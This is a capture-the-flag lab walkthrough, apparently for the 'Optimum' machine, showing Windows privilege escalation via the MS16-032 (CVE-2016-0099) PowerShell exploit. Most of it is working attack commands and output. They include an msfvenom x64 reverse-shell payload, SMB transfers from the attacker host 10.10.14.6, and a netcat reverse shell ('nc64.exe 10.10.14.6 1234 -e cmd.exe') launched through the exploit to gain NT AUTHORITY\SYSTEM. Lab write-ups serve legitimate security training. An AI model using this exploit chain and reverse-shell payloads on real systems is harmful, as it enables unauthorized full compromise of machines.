Sherlock found out that the target system is vulnerable to CVE-2016-0099 which was later patched with MS16-032

CVE-2016-0099(MS16-032)

a vulnerability was found in microsoft windows vista sp2 up to server 2012 r2 (Operating System). It has been rated as critical. Affected by this issue is the function CreateProcessWithToken/CreateProcessWithLogon of the component Secondary Login. The manipulation with an unknown input leads to a access control vulnerability. Using CWE to declare the problem leads to CWE-264. Impacted is confidentiality, integrity, and availability.

a list of affected versions can be found here

Exploit

Found a Power Shell implementation of the exploit

Initial Fail

ps c:\tmp\MS16-032> copy \\10.10.14.6\smb\MS16-032.ps1
ps c:\tmp\MS16-032> .\MS16-032.ps1
ps c:\tmp\MS16-032> . .\MS16-032.ps1
ps c:\tmp\MS16-032> Invoke-MS16-032    
	 __ __ ___ ___   ___     ___ ___ ___ 
	|  V  |  _|_  | |  _|___|   |_  |_  |
	|     |_  |_| |_| . |___| | |_  |  _|
	|_|_|_|___|_____|___|   |___|___|___|
	                                    
	               [by b33f -> @FuzzySec]
 
[?] operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handle
[!] No valid thread handle was captured, exiting!

Failed.

This is an obvious result, yet there lies an extremely critical lesson to learn.

x86 to x64

The importance of knowing the process architecture for the running PowerShell process. At this point, I am perfectly aware that the OS and CPU architecture is 64-bit, So then I assumed that the Power Shell session that I am in would be also a 64-bit process.

WRONG

PS C:\tmp\MS16-032> [Environment]::Is64BitProcess
False

Apparently Not.

This explains everything why the exploit didn’t work. The Windows kernel exploit (MS16-032.ps1) was designed for the OS with 64-bit architecture.

The attempt was made WITHIN a 32-bit process of Power Shell session inherited by the HFS 2.3 service that I initially exploited.

Switching to a 64-bit shell cannot any easier

┌──(kali㉿kali)-[~/archive/htb/labs/optimum]
└─$ msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.6 LPORT=9998 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1893 bytes
Final size of exe file: 8192 bytes
Saved as: shell.exe

Generate a 64-bit PowerShell reverse shell; shell.exe

PS C:\tmp> copy \\10.10.14.6\smb\shell.exe
PS C:\tmp> .\shell.exe

Transfer shell.exe to the target over SMB, and execute it within the initial 32-bit PowerShell session

┌──(kali㉿kali)-[~/archive/htb/labs/optimum]
└─$ nnc 9998
listening on [any] 9998 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.8] 49163
Windows PowerShell running as user kostas on OPTIMUM
Copyright (C) Microsoft Corporation. All rights reserved.
 
PS C:\tmp> [Environment]::Is64BitProcess
True
PS C:\tmp>

Receive the shell and confirm the process architecture being 64-bit

Second Fail

ps c:\tmp\MS16-032> . .\MS16-032.ps1
ps c:\tmp\MS16-032> Invoke-MS16-032
	 __ __ ___ ___   ___     ___ ___ ___ 
	|  V  |  _|_  | |  _|___|   |_  |_  |
	|     |_  |_| |_| . |___| | |_  |  _|
	|_|_|_|___|_____|___|   |___|___|___|
	                                    
	               [by b33f -> @FuzzySec]
 
[?] operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handle
[?] done, using thread handle: 2572
 
[*] Sniffing out privileged impersonation token..
 
[?] thread belongs to: svchost
[+] Thread suspended
[>] Wiping current impersonation token
[>] Building SYSTEM impersonation token
[?] success, open system token handle: 2568
[+] Resuming thread..
 
[*] Sniffing out SYSTEM shell..
 
[>] Duplicating SYSTEM token
[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!
 
 
ps c:\tmp\MS16-032> whoami
 
optimum\kostas

Import the exploit script,MS16-032.ps1, and execute the function

The exploit was a success but I am still the kostas user.

The exploit certainly had Windows create a new shell session with the SYSTEM token but it migrate the current session to it as it just popped open a new window. I would have been able to see it if I had a RDP session

Exploit v2

Found a forked version of the Power Shell script that includes a parameter for custom commands. It was part of the PowerShell Empire suite

The script implemented a custom command feature

Privilege Escalation

ps c:\tmp\MS16-032> copy \\10.10.14.6\smb\MS16-032-withCommands.ps1
ps c:\tmp\MS16-032> copy \\10.10.14.6\smb\nc64.exe
ps c:\tmp\MS16-032> . .\MS16-032-withCommands.ps1

Transfer the modified script and Netcat to the target machine over SMB I will use Netcat to spawn a reverse shell

Import the modified script

ps c:\tmp\MS16-032> Invoke-MS16-032 -Command "C:\tmp\MS16-032\nc64.exe 10.10.14.6 1234 -e cmd.exe"
     __ __ ___ ___   ___     ___ ___ ___ 
    |  V  |  _|_  | |  _|___|   |_  |_  |
    |     |_  |_| |_| . |___| | |_  |  _|
    |_|_|_|___|_____|___|   |___|___|___|
                                        
                   [by b33f -> @FuzzySec]
 
[!] Holy handle leak Batman, we have a SYSTEM shell!!

Execute the function

┌──(kali㉿kali)-[~/archive/htb/labs/optimum]
└─$ nnc 1234
listening on [any] 1234 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.8] 49169
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
 
c:\tmp\MS16-032> whoami
 whoami
nt authority\system
 
c:\tmp\MS16-032> hostname
 hostname
optimum
 
c:\tmp\MS16-032> ipconfig
 ipconfig
 
Windows IP Configuration
 
 
ethernet adapter ethernet0:
 
   connection-specific dns suffix  . : 
   ipv4 address. . . . . . . . . . . : 10.10.10.8
   subnet mask . . . . . . . . . . . : 255.255.255.0
   default gateway . . . . . . . . . : 10.10.10.2
 
tunnel adapter isatap.{99c463c2-dc10-45a6-9cc8-e62f160519ae}:
 
   media state . . . . . . . . . . . : Media disconnected
   connection-specific dns suffix  . :

System Level Compromise

InfoSec LAB

Explorer

Optimum_Privilege_Escalation